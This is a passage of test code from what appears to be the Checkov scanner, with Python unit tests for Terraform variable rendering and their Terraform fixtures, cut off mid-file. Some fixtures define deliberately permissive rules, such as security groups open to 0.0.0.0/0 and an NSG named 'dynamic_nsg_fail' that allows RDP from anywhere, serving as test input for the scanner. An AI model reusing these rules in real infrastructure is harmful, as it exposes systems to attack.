os.path.join(TEST_DIRNAME, "test_resources", "tfvar_module_variables") graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert resources_vertex[0].attributes.get('name') == ['airpods'] def test_dynamic_blocks_with_list(self): resource_paths = [ os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_resource"), os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_variable_rendering"), os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_tfvars"), ] for path in resource_paths: graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert len(resources_vertex[0].attributes.get('ingress')) == 2 assert len(resources_vertex[0].attributes.get('egress')) == 2 assert resources_vertex[0].attributes.get('ingress') == \ [{'cidr_blocks': ['0.0.0.0/0'], 'from_port': 80, 'protocol': 'tcp', 'to_port': 80}, {'cidr_blocks': ['0.0.0.0/0'], 'from_port': 443, 'protocol': 'tcp', 'to_port': 443}] assert resources_vertex[0].attributes.get('egress') == \ [{'cidr_blocks': ['0.0.0.0/0'], 'from_port': 443, 'protocol': 'tcp', 'to_port': 443}, {'cidr_blocks': ['0.0.0.0/0'], 'from_port': 1433, 'protocol': 'tcp', 'to_port': 1433}] def test_dynamic_blocks_with_map(self): resource_paths = [ os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_map"), os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_map_brackets"), ] for path in resource_paths: graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert len(resources_vertex[0].attributes.get('ingress')) == 2 assert resources_vertex[0].attributes.get('ingress') == \ [{'action': 'allow', 'cidr_block': '10.0.0.1/32', 'from_port': 22, 'protocol': 'tcp', 'rule_no': 1, 'to_port': 22}, {'action': 'allow', 'cidr_block': '10.0.0.2/32', 'from_port': 22, 'protocol': 'tcp', 'rule_no': 2, 'to_port': 22}] def test_dynamic_blocks_with_nesting_attributes(self): root_folder = os.path.join(TEST_DIRNAME, "test_resources", "dynamic_block_nesting_attribute") graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True) # Test dynamic blocks with nesting attributes resource_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))[0] assert resource_vertex.attributes.get('server_side_encryption_configuration') == [{'rule': { 'apply_server_side_encryption_by_default': {'kms_master_key_id': 'testkey1', 'sse_algorithm': 'aws:kms'}}}, {'rule': {'apply_server_side_encryption_by_default': {'kms_master_key_id': 'testkey2', 'sse_algorithm': 'aws:notkms'}}}] def test_extract_dynamic_value_in_map(self): self.assertEqual(TerraformVariableRenderer.extract_dynamic_value_in_map('value.value1.value2'), 'value2') self.assertEqual(TerraformVariableRenderer.extract_dynamic_value_in_map('value.value1["value2"]'), 'value2') def test_dynamic_blocks_breadcrumbs(self): root_folder = os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_variable_rendering") graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True) definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions( local_graph.vertices, root_folder, ) # Test multiple dynamic blocks assert 'ingress.from_port' in breadcrumbs['/main.tf']['aws_security_group.list_example'] assert 'ingress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example'] assert 'egress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example'] assert 'egress.to_port' in breadcrumbs['/main.tf']['aws_security_group.list_example'] # Test single dynamic block assert 'ingress.from_port' in breadcrumbs['/main.tf']['aws_security_group.single_dynamic_example'] assert 'ingress.to_port' in breadcrumbs['/main.tf']['aws_security_group.single_dynamic_example'] def test_nested_dynamic_blocks_breadcrumbs(self): root_folder = os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_with_nested") graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(root_folder, render_variables=True) definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions( local_graph.vertices, root_folder, ) # Test multiple dynamic blocks assert 'required_resource_access.resource_app_id' in breadcrumbs['/main.tf']['azuread_application.bootstrap'] assert 'required_resource_access.resource_access.id' in breadcrumbs['/main.tf']['azuread_application.bootstrap'] assert 'required_resource_access.resource_access.type' in breadcrumbs['/main.tf']['azuread_application.bootstrap'] def test_list_entry_rendering_module_vars(self): # given resource_path = Path(TEST_DIRNAME) / "test_resources/list_entry_module_var" graph_manager = TerraformGraphManager(NetworkxConnector()) # when local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True) # then resource_vertex = next(v for v in local_graph.vertices if v.id == 'aws_security_group.sg') self.assertEqual( resource_vertex.config["aws_security_group"]["sg"]["ingress"][0]["cidr_blocks"][0], ["0.0.0.0/0"], ) self.assertCountEqual( resource_vertex.config["aws_security_group"]["sg"]["egress"][0]["cidr_blocks"][0], ["10.0.0.0/16", "0.0.0.0/0"], ) multiple_ingress_vertex = ( next(v for v in local_graph.vertices if v.id == 'aws_security_group.multiple_ingress_sg')) ingress_field = multiple_ingress_vertex.config["aws_security_group"]["multiple_ingress_sg"]["ingress"] self.assertEqual(len(ingress_field), 3) # TODO - make var rendering correctly evaluate inner vars in list self.assertEqual(ingress_field[0],[[]]) self.assertEqual(ingress_field[1], {'cidr_blocks': ['${var.cidr_sg}'], 'from_port': 23, 'protocol': 'TCP', 'to_port': 23}) self.assertEqual(ingress_field[2],'var.empty_ingress') @mock.patch.dict(os.environ, {"CHECKOV_RENDER_DYNAMIC_MODULES": "False"}) def test_dynamic_with_env_var_false(self): graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_resource"), render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert not resources_vertex[0].attributes.get('ingress') assert not resources_vertex[0].attributes.get('egress') def test_dynamic_blocks_with_nested_map(self): resource_paths = [ os.path.join(TEST_DIRNAME, 'test_resources', 'dynamic_blocks_with_nested'), ] for path in resource_paths: graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert len(resources_vertex[0].attributes.get('required_resource_access')) == 2 assert resources_vertex[0].attributes.get('required_resource_access') == \ {'resource_app_id': '00000003-0000-0000-c000-000000000000', 'resource_access': {'id': '7ab1d382-f21e-4acd-a863-ba3e13f7da61', 'type': 'Role'}} def test_dynamic_example_for_security_rule(self): graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(os.path.join(TEST_DIRNAME, "test_resources", "dynamic_block_map_example"), render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert resources_vertex[0].attributes.get('security_rule') == [ {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 80, 'direction': 'Inbound', 'name': 'AllowHttpIn', 'priority': 100, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'}, {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 443, 'direction': 'Inbound', 'name': 'AllowHttpsIn', 'priority': 110, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'}, {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 3389, 'direction': 'Inbound', 'name': 'AllowRdpIn', 'priority': 120, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'}, {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': '*', 'direction': 'Inbound', 'name': 'AllowIcmpIn', 'priority': 130, 'protocol': 'Icmp', 'source_address_prefix': '*', 'source_port_range': '*'}] assert resources_vertex[1].attributes.get('security_rule') == [ {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': 80, 'direction': 'Inbound', 'name': 'DenyHttpIn', 'priority': 100, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'}, {'access': 'Allow', 'destination_address_prefix': '*', 'destination_port_range': 443, 'direction': 'Inbound', 'name': 'AllowHttpsIn', 'priority': 110, 'protocol': 'Tcp', 'source_address_prefix': '35.181.123.80/32', 'source_port_range': '*'}, {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': 3389, 'direction': 'Inbound', 'name': 'DenyRdpIn', 'priority': 120, 'protocol': 'Tcp', 'source_address_prefix': '*', 'source_port_range': '*'}, {'access': 'Deny', 'destination_address_prefix': '*', 'destination_port_range': '*', 'direction': 'Inbound', 'name': 'DenyIcmpIn', 'priority': 130, 'protocol': 'Icmp', 'source_address_prefix': '*', 'source_port_range': '*'}] def test_dynamic_blocks_with_nested_lookup(self): resource_paths = [ os.path.join(TEST_DIRNAME, 'test_resources', 'dynamic_nested_with_lookup_foreach'), ] for path in resource_paths: start_time = time.time() graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True) end_time = time.time() assert end_time - start_time < 1 resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE and v.has_dynamic_block, local_graph.vertices)) assert resources_vertex[0].attributes['stage'] == [ {'name': 'Source', 'action': {'category': 'Source', 'configuration': {'BranchName': 'master', 'PollForSourceChanges': 'false', 'RepositoryName': 'cron-poll'}, 'input_artifacts': [], 'name': 'Source', 'output_artifacts': ['SourceArtifact'], 'owner': 'AWS', 'provider': 'CodeCommit', 'region': '', 'role_arn': 'null', 'run_order': 1, 'version': '1'}}, {'name': 'Build', 'action': {'category': 'Build', 'configuration': {'ProjectName': 'cron-poll'}, 'input_artifacts': ['SourceArtifact'], 'name': 'Build', 'output_artifacts': ['BuildArtifact'], 'owner': 'AWS', 'provider': 'CodeBuild', 'region': '', 'role_arn': 'null', 'run_order': 2, 'version': '1'}}, {'name': 'Deploy', 'action': {'category': 'Deploy', 'configuration': {'ClusterName': 'test', 'ServiceName': 'cron-poll'}, 'input_artifacts': ['BuildArtifact'], 'name': 'Deploy', 'output_artifacts': [], 'owner': 'AWS', 'provider': 'ECS', 'region': '', 'role_arn': 'null', 'run_order': 4, 'version': '1'}} ] def test_dynamic_blocks_null_lookup(self): graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory( os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_null_lookup"), render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert len(resources_vertex[0].attributes.get('ingress')) == 2 assert resources_vertex[0].attributes.get('ingress')[0].get('ipv6_cidr_blocks') == 'null' assert resources_vertex[0].attributes.get('ingress')[0].get('self') == 'false' assert resources_vertex[0].attributes.get('ingress')[0].get('cidr_blocks') == ['10.248.180.0/23', '10.248.186.0/23'] def test_dynamic_with_conditional_expression(self): graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory( os.path.join(TEST_DIRNAME, "test_resources", "dynamic_with_conditional_expression"), render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert resources_vertex[0].attributes.get('identity').get('identity_ids') == 'null' assert resources_vertex[0].attributes.get('identity').get('type') == 'SystemAssigned' def test_lookup_from_var(self): graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory( os.path.join(TEST_DIRNAME, "test_resources", "lookup_from_var"), render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) assert resources_vertex[0].attributes.get('protocol')[0] == 'http' assert resources_vertex[0].attributes.get('endpoint')[0] == 'http://www.example.com' def test_skip_rendering_unsupported_values(self): # given resource_path = Path(TEST_DIRNAME) / "test_resources/skip_renderer" # when graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True) # then local_b = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.LOCALS and vertex.name == "b") assert local_b.attributes["b"] == ["..."] # not Ellipsis object def test_default_map_value(self): # given resource_path = Path(TEST_DIRNAME) / "test_resources/default_map_value" # when graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True) # then key_vault = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.RESOURCE and vertex.name == "azurerm_key_vault.this") assert key_vault.attributes["network_acls"] == { "bypass": "AzureServices", "default_action": "Deny", "ip_rules": [], "virtual_network_subnet_ids": [] } def test_provider_alias(self): # given resource_path = Path(TEST_DIRNAME) / "test_resources/provider_alias" # when graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True) # then provider = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.PROVIDER and vertex.name == "aws") assert provider.config["aws"]["default_tags"] == [{"tags": [{"test": "Test"}]}] provider_alias = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.PROVIDER and vertex.name == "aws.test") assert provider_alias.config["aws"]["default_tags"] == [{"tags": [{"test": "Test"}]}] def test_multiple_dynamic_blocks_value_not_supporting(self): resource_paths = [ os.path.join(TEST_DIRNAME, 'test_resources', 'multiple_dynamic_blocks'), ] for path in resource_paths: graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE and v.has_dynamic_block, local_graph.vertices)) value_block_1 = resources_vertex[0].config['google_sql_database_instance']['instance4-should-fail']['settings'][0]['ip_configuration'][0]['dynamic'][0]['authorized_networks']['content'][0]['value'] value_block_2 = resources_vertex[0].config['google_sql_database_instance']['instance4-should-fail']['settings'][0]['ip_configuration'][0][ 'dynamic'][1]['authorized_networks']['content'][0]['value'] # TODO - for now we don't support multiple dynamic blocks - the value_block_1 and value_block_2 needs to be different and not override each other assert not value_block_1 != value_block_2 def test_foreach_with_tfvars(self): # given resources_dir = Path(TEST_DIRNAME) / "resources/foreach_examples/foreach_tfvars" graph_manager = TerraformGraphManager("m", ["m"]) # when local_graph, _ = graph_manager.build_graph_from_source_directory(str(resources_dir), render_variables=True) # then resource = local_graph.vertices[local_graph.vertices_by_block_type["resource"][0]] self.assertDictEqual( resource.config["google_project_iam_binding"]['role["roles/run.developer"]'], { "__address__": 'google_project_iam_binding.role["roles/run.developer"]', "__end_line__": 19, "__start_line__": 11, "members": [["user:captain.america@marvel.com"]], "project": ["avengers"], # this is important it is correctly rendered "role": ["roles/run.developer"], }, ) def test_foreach_with_tfvars_tag_merge(self): resource_path = os.path.join(TEST_DIRNAME, "test_resources", "dynamic_blocks_tfvars_merge") graph_manager = TerraformGraphManager('m', ['m']) local_graph, _ = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True) resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices)) self.assertDictEqual(resources_vertex[0].config['aws_instance']['this["vm1"]'].get('tags')[0], {'Environment': 'prod', 'Department': 'Testing', 'Name': 'vm1'}) ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/default_map_value/main.tf ================================================ resource "azurerm_key_vault" "this" { name = var.kv_properties.name network_acls { bypass = var.kv_properties.nacl.bypass default_action = var.kv_properties.nacl.default_action ip_rules = var.kv_properties.nacl.ip_rules virtual_network_subnet_ids = var.kv_properties.nacl.virtual_network_subnet_ids } } variable "kv_properties" { type = object({ name = string nacl = object({ bypass = string default_action = string ip_rules = list(string) virtual_network_subnet_ids = list(string) }) }) default = { name = "checkov_test" nacl = { bypass = "AzureServices" default_action = "Deny" ip_rules = [] virtual_network_subnet_ids = [] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/dynamic.tf ================================================ data "azurerm_resource_group" "abc-azr-lab" { name = "abc-azr-lab" } resource "azurerm_network_security_group" "dynamic_nsg_fail" { name = var.nsg_name_fail location = data.azurerm_resource_group.abc-azr-lab.location resource_group_name = data.azurerm_resource_group.abc-azr-lab.name dynamic "security_rule" { for_each = var.fail_nsg_rules content { name = security_rule.value["name"] priority = security_rule.value["priority"] direction = security_rule.value["direction"] access = security_rule.value["access"] protocol = security_rule.value["protocol"] source_port_range = security_rule.value["source_port_range"] destination_port_range = security_rule.value["destination_port_range"] source_address_prefix = security_rule.value["source_address_prefix"] destination_address_prefix = security_rule.value["destination_address_prefix"] } } } resource "azurerm_network_security_group" "dynamic_nsg_pass" { name = var.nsg_name_pass location = data.azurerm_resource_group.abc-azr-lab.location resource_group_name = data.azurerm_resource_group.abc-azr-lab.name dynamic "security_rule" { for_each = var.pass_nsg_rules content { name = security_rule.value["name"] priority = security_rule.value["priority"] direction = security_rule.value["direction"] access = security_rule.value["access"] protocol = security_rule.value["protocol"] source_port_range = security_rule.value["source_port_range"] destination_port_range = security_rule.value["destination_port_range"] source_address_prefix = security_rule.value["source_address_prefix"] destination_address_prefix = security_rule.value["destination_address_prefix"] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/terraform.tfvars ================================================ subnet_list = [ { name = "dynamic_subnet1" address_prefix = "10.100.1.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" }, { name = "dynamic_subnet2" address_prefix = "10.100.2.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" }, { name = "dynamic_subnet3" address_prefix = "10.100.3.0/24" security_group = "azurerm_network_security_group.dynamic_nsg_pass.id" } ] fail_nsg_rules = [ { name = "AllowHttpIn" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowHttpsIn" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowRdpIn" priority = 120 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "3389" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowIcmpIn" priority = 130 direction = "Inbound" access = "Allow" protocol = "Icmp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } ] pass_nsg_rules = [ { name = "DenyHttpIn" priority = 100 direction = "Inbound" access = "Deny" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "AllowHttpsIn" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "35.181.123.80/32" destination_address_prefix = "*" }, { name = "DenyRdpIn" priority = 120 direction = "Inbound" access = "Deny" protocol = "Tcp" source_port_range = "*" destination_port_range = "3389" source_address_prefix = "*" destination_address_prefix = "*" }, { name = "DenyIcmpIn" priority = 130 direction = "Inbound" access = "Deny" protocol = "Icmp" source_port_range = "*" destination_port_range = "*" source_address_prefix = "*" destination_address_prefix = "*" } ] ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/variables.tf ================================================ variable "rg_name" { type = string default = "abc-azr-lab" } variable "rg_location" { type = string default = "East US" } variable "vnet_name" { type = string default = "dynamic_vnet" } variable "nsg_name_fail" { type = string default = "dynamic_nsg_fail" } variable "nsg_name_pass" { type = string default = "dynamic_nsg_pass" } variable "tags" { type = list(string) default = ["testing", "dynamic_block"] } variable "address_space" { type = list(string) default = ["10.100.0.0/16"] } variable "subnet_list" { type = list(object({ name = string address_prefix = string security_group = string })) description = "Values for each subnet" } variable "fail_nsg_rules" { type = list(object({ name = string priority = number direction = string access = string protocol = string source_port_range = string destination_port_range = string source_address_prefix = string destination_address_prefix = string })) description = "Values for each NSG rule" } variable "pass_nsg_rules" { type = list(object({ name = string priority = number direction = string access = string protocol = string source_port_range = string destination_port_range = string source_address_prefix = string destination_address_prefix = string })) description = "Values for each NSG rule" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_block_nesting_attribute/main.tf ================================================ resource "aws_s3_bucket" "this" { bucket = var.name dynamic "server_side_encryption_configuration" { for_each = var.sse content { rule { apply_server_side_encryption_by_default { kms_master_key_id = server_side_encryption_configuration.value.kms_master_key_id sse_algorithm = server_side_encryption_configuration.value.sse_algorithm } } } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_block_nesting_attribute/variables.tf ================================================ variable "versioning" { type = bool } variable "sse" { type = list(object({ kms_master_key_id = string sse_algorithm = string })) default = [{ kms_master_key_id = "testkey1" sse_algorithm = "aws:kms" }, { kms_master_key_id = "testkey2" sse_algorithm = "aws:notkms" }] } variable "name" { description = "Name of the bucket" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map/main.tf ================================================ resource "aws_network_acl" "network_acl" { vpc_id = data.aws_vpc dynamic "ingress" { for_each = var.http_headers content { rule_no = ingress.value.num protocol = ingress.value.protoc action = "allow" cidr_block = ingress.value.values from_port = 22 to_port = 22 } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map/variables.tf ================================================ variable "http_headers" { type = list(object({ num = number values = string })) default = [{ "num": 1, "protoc": "tcp", "values": "10.0.0.1/32" }, { "num": 2, "protoc": "tcp", "values": "10.0.0.2/32" }] } variable "aws_vpc" { default = true } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map_brackets/main.tf ================================================ resource "aws_network_acl" "network_acl" { vpc_id = data.aws_vpc dynamic "ingress" { for_each = var.http_headers content { rule_no = ingress.value["num"] protocol = ingress.value["protoc"] action = "allow" cidr_block = ingress.value["values"] from_port = 22 to_port = 22 } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map_brackets/variables.tf ================================================ variable "http_headers" { type = list(object({ num = number values = string })) default = [{ "num": 1, "protoc": "tcp", "values": "10.0.0.1/32" }, { "num": 2, "protoc": "tcp", "values": "10.0.0.2/32" }] } variable "aws_vpc" { default = true } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/examples/simple/main.tf ================================================ module "secgrp-1" { source = "../../" name = "project-abc" vpc_id = var.vpc_id ingress = var.ingress egress = var.egress tags = { Tier = "Application" Allocation = "1234" } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/examples/simple/variables.tf ================================================ variable "vpc_id" { } variable "ingress" { default = [ { cidr_blocks = [ "10.248.186.0/23", "10.248.180.0/23", ] from_port = "22" to_port = "22" protocol = "tcp" description = "Allow connectivity from Atlanta VPN" }, { cidr_blocks = [ "10.248.80.0/23", "10.248.86.0/23", ] from_port = "22" to_port = "22" protocol = "tcp" description = "Allow connectivity from Miami VPN" }, ] } variable "egress" { default = [ { cidr_blocks = [ "0.0.0.0/0", ] from_port = 0 to_port = 0 protocol = "-1" self = false description = "" }, ] } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/main.tf ================================================ resource "aws_security_group" "this" { count = var.vpc_id != "" ? 1 : 0 name = format("%s-sg", var.name) description = format("Security Group for %s", var.name) vpc_id = var.vpc_id dynamic "ingress" { for_each = var.ingress content { cidr_blocks = lookup(ingress.value, "cidr_blocks", null) ipv6_cidr_blocks = lookup(ingress.value, "ipv6_cidr_blocks", null) prefix_list_ids = lookup(ingress.value, "prefix_list_ids", null) from_port = lookup(ingress.value, "from_port") to_port = lookup(ingress.value, "to_port") protocol = lookup(ingress.value, "protocol", "tcp") security_groups = lookup(ingress.value, "security_groups", null) self = lookup(ingress.value, "self", false) description = lookup(ingress.value, "description") } } dynamic "egress" { for_each = var.egress content { cidr_blocks = lookup(egress.value, "cidr_blocks", null) ipv6_cidr_blocks = lookup(egress.value, "ipv6_cidr_blocks", null) prefix_list_ids = lookup(egress.value, "prefix_list_ids", null) from_port = lookup(egress.value, "from_port") to_port = lookup(egress.value, "to_port") protocol = lookup(egress.value, "protocol", "tcp") security_groups = lookup(egress.value, "security_groups", null) self = lookup(egress.value, "self", false) description = lookup(egress.value, "description") } } tags = merge( { Name = format("%s-sg", var.name) }, var.tags ) lifecycle { create_before_destroy = true } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/variables.tf ================================================ variable "name" { type = string description = "(Required, Forces new resource) The name of the security group." } variable "description" { type = string description = "(Optional, Forces new resource) The security group description. Defaults to 'Managed by Terraform'. Cannot be \"\". NOTE: This field maps to the AWS GroupDescription attribute, for which there is no Update API. If you'd like to classify your security groups in a way that can be updated, use tags." default = "Managed by Terraform" } variable "ingress" { type = any description = "(Optional) Can be specified multiple times for each ingress rule. Each ingress block supports fields documented below. This argument is processed in attribute-as-blocks mode." default = [ ] } variable "egress" { type = any description = "(Optional, VPC only) Can be specified multiple times for each egress rule. Each egress block supports fields documented below. This argument is processed in attribute-as-blocks mode." default = [ ] } variable "revoke_rules_on_delete" { type = bool description = "(Optional) Instruct Terraform to revoke all of the Security Groups attached ingress and egress rules before deleting the rule itself. This is normally not needed, however certain AWS services such as Elastic Map Reduce may automatically add required rules to security groups used with the service, and those rules may contain a cyclic dependency that prevent the security groups from being destroyed without removing the dependency first. Default false" default = false } variable "vpc_id" { type = string description = "(Required, Forces new resource) The VPC ID." } variable "tags" { type = map(string) description = "Map of tags to add to the resources" default = {} } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_resource/dynamic_block_with_list.tf ================================================ locals { inbound_ports = [80, 443] outbound_ports = [443, 1433] } resource "aws_security_group" "list_example" { name = "list-example" dynamic "ingress" { for_each = local.inbound_ports content { from_port = ingress.value to_port = ingress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } dynamic "egress" { for_each = local.outbound_ports content { from_port = egress.value to_port = egress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/main.tf ================================================ resource "aws_security_group" "list_example" { name = "list-example" dynamic "ingress" { for_each = var.dynamic.inbound_ports content { from_port = ingress.value to_port = ingress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } dynamic "egress" { for_each = var.dynamic.outbound_ports content { from_port = egress["value"] to_port = egress["value"] protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/terraform.tfvars ================================================ dynamic = { inbound_ports = [80, 443] outbound_ports = [443, 1433] } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/variables.tf ================================================ variable "dynamic" { description = "TODO" type = object({ outbound_ports = list(string) inbound_ports = list(string) }) } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/main.tf ================================================ resource "aws_instance" "this" { for_each = { for host in var.vmhosts : host.name => host } instance_type = var.instance_type key_name = var.key_name private_ip = each.value.private_ip monitoring = each.value.monitoring tags = merge(each.value.tags, { Name = each.value.name }, {}) } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/terraform.tfvars ================================================ key_name = "test1" vmhosts = [ { name = "vm1" monitoring = false tags = { Environment = "prod", Department = "Testing" } private_ip = "11.101.33.254" ports = [ 22 ] }, { name = "vm2" monitoring = false tags = { Environment = "Test" } private_ip = "22.212.0.200" ports = [ 80 ] } ] ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/variables.tf ================================================ variable "instance_type" { default = "t3.small" } variable "key_name" { type = string } variable "vmhosts" { description = "VM hosts with configuration" type = list(object({ name = string monitoring = bool tags = map(string) private_ip = string ports = list(number) })) } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_variable_rendering/main.tf ================================================ resource "aws_security_group" "list_example" { name = "list-example" dynamic "ingress" { for_each = var.dynamic.inbound_ports content { from_port = ingress.value to_port = ingress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } dynamic "egress" { for_each = var.dynamic.outbound_ports content { from_port = egress.value to_port = egress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } } resource "aws_security_group" "single_dynamic_example" { name = "list-example" dynamic "ingress" { for_each = var.dynamic.inbound_ports content { from_port = ingress.value to_port = ingress.value protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } } } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_variable_rendering/variables.tf ================================================ variable "dynamic" { inbound_ports = [80, 443] outbound_ports = [443, 1433] } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_with_nested/main.tf ================================================ resource "azuread_application" "bootstrap" { name = "test" type = "webapp/api" group_membership_claims = "All" dynamic "required_resource_access" { for_each = var.required_resource_access content { resource_app_id = required_resource_access.value.resource_app_id dynamic "resource_access" { for_each = required_resource_access.value.resource_access content { id = resource_access.value.id type = resource_access.value.type } } } } display_name = "" } ================================================ FILE: tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_with_nested/variables.tf ================================================ variable required_resource_access { type = list(object({ resource_app_id = string resource_access = list(object({ id = string 